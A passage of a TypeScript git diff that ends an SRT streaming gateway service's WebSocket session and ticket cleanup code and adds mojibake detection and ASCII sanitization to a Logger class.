this.viewerMeta.delete(ws) + session.lastActivityAt = Date.now() + }) + + ws.on('error', () => { + session.viewers.delete(ws) + this.viewerMeta.delete(ws) + session.lastActivityAt = Date.now() + try { + ws.terminate() + } catch { + // ignore + } + }) + } + + private safeParseUrl(request: IncomingMessage): URL | null { + const requestUrl = request.url || '' + const host = request.headers.host || 'localhost' + try { + return new URL(requestUrl, `http://${host}`) + } catch { + return null + } + } + + private rejectUpgrade(socket: Socket, statusCode: number, reason: string): void { + try { + socket.write(`HTTP/1.1 ${statusCode} ${reason}\r\nConnection: close\r\n\r\n`) + } finally { + socket.destroy() + } + } + + private cleanupExpiredResources(): void { + const now = Date.now() + + for (const [token, ticket] of this.tickets.entries()) { + if (ticket.expiresAt < now) { + this.tickets.delete(token) + } + } + + for (const [deviceId, session] of this.sessions.entries()) { + const noViewers = session.viewers.size === 0 + const idleTooLong = now - session.lastActivityAt > this.config.idleTimeoutMs + if (noViewers && idleTooLong) { + this.logger.info(`Session idle timeout: device=${deviceId}`) + this.stopSession(deviceId) + } + } + } +} + +export default SrtGatewayService diff --git a/src/utils/Logger.ts b/src/utils/Logger.ts index a0c46d9..d106786 100644 --- a/src/utils/Logger.ts +++ b/src/utils/Logger.ts @@ -1,20 +1,86 @@ -/** - * 日志工具类 - */ class Logger { private prefix: string + // Mojibake fragments seen in broken UTF-8/GBK logs. + // Use unicode escapes so the source stays stable across editors/encodings. + private readonly mojibakeFragments = [ + '\u95ff', // "閿" + '\u9227', // "鈧" + '\u68e3', // "棣" + '\u59a4', // "妤" + '\u7f01', // "缁" + '\u95c1', // "闁" + '\u7481', // "璁" + '\ufffd', // replacement char + '閺', + '閻', + '鐠', + '娑', + '鏉', + '妫', + '缁' + ] + private readonly placeholderPattern = /\?{3,}/ + constructor(prefix: string = 'App') { this.prefix = prefix } + private hasMojibakeMarkers(value: string): boolean { + if (!value) return false + return this.mojibakeFragments.some((frag) => value.includes(frag)) + } + + private sanitizeText(value: string): string { + if (!value) return value + + const normalized = value + .replace(/\r?\n/g, ' ') + .replace(/\s+/g, ' ') + .trim() + + if (!normalized) return normalized + + const hasMojibake = this.hasMojibakeMarkers(normalized) + const hasPlaceholder = this.placeholderPattern.test(normalized) + if (!hasMojibake && !hasPlaceholder) { + return normalized + } + + // Keep machine-readable ASCII parts only and mark as cleaned. + const ascii = normalized + .replace(this.placeholderPattern, ' ') + .replace(/[^\x20-\x7E]+/g, ' ') + .replace(/\s+/g, ' ') + .trim() + + if (!ascii) { + return '[encoding-cleanup]' + } + + return `[encoding-cleanup] ${ascii}` + } + + private stringifyArg(arg: any): string { + if (typeof arg !== 'object' || arg === null) { + return this.sanitizeText(String(arg)) + } + + try { + return this.sanitizeText(JSON.stringify(arg)) + } catch { + return '[serialization_failed]' + } + } + private formatMessage(level: string, message: string, ...args: any[]): string { const timestamp = new Date().toISOString() - const formattedArgs = args.length > 0 ? ' ' + args.map(arg => - typeof arg === 'object' ? JSON.stringify(arg, null, 2) : String(arg) - ).join(' ') : '' - - return `[${timestamp}] [${level}] [${this.prefix}] ${message}${formattedArgs}` + const cleanedMessage = this.sanitizeText(message) + const formattedArgs = args.length > 0 + ? ` ${args.map((arg) => this.stringifyArg(arg)).join(' ')}` + : '' + + return `[${timestamp}] [${level}] [${this.prefix}] ${cleanedMessage}${formattedArgs}` } info(message: string, ...args: any[]): void { @@ -42,4 +108,4 @@ class Logger { } } -export default Logger \ No newline at end of file +export default Logger